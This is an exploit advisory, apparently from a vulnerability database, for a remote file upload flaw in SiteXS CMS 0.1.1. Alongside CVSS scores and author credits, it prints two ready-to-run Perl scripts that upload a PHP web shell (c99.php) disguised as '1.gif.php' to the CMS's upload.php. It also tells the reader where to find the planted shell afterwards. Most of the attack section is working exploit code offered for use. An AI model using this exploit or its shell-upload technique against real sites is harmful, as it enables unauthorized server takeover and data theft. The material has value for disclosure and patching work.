SiteXS CMS Remote File Upload Vulnerability

2009.04.09
Credit: Hadi Kiamarsi
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Author : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- Discovered by : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- Exploited By : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- E-Mail : hadikiamarsi[at]hotmail.com ------------------------------------------------------------------------ ---------- WebSite : http://ircrash.com ------------------------------------------------------------------------ ---------- Our Team : ircrash ------------------------------------------------------------------------ ---------- IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr ------------------------------------------------------------------------ ---------- CMS: sitexs-0.1.1 CMS ( All Version Vulnerable ) Download CMS : http://dfn.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz ------------------------------------------------------------------------ ---------- Remote File Upload Vulnerability You Must turn on : register_globals = On register_long_arrays=on ------------------------------------------------------------------------ ----------- Exploit : ------------------------------------------------------------------------ ----------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ------------------------------------------------------------------------ ----------- you for use this exploit . you must your shell file exists in exploit directory then excute exploit you find your shell in below link www.example.com/[sitexs]/images/1.gif.php www.example.com/[sitexs]/images/[shell][.php] ------------------------------------------------------------------------ ----------- Example : ------------------------------------------------------------------------ ----------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http://localhost/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["c99.php", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ------------------------------------------------------------------------ ----------- this bug is 0-Day ------------------------------------------------------------------------ -----------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top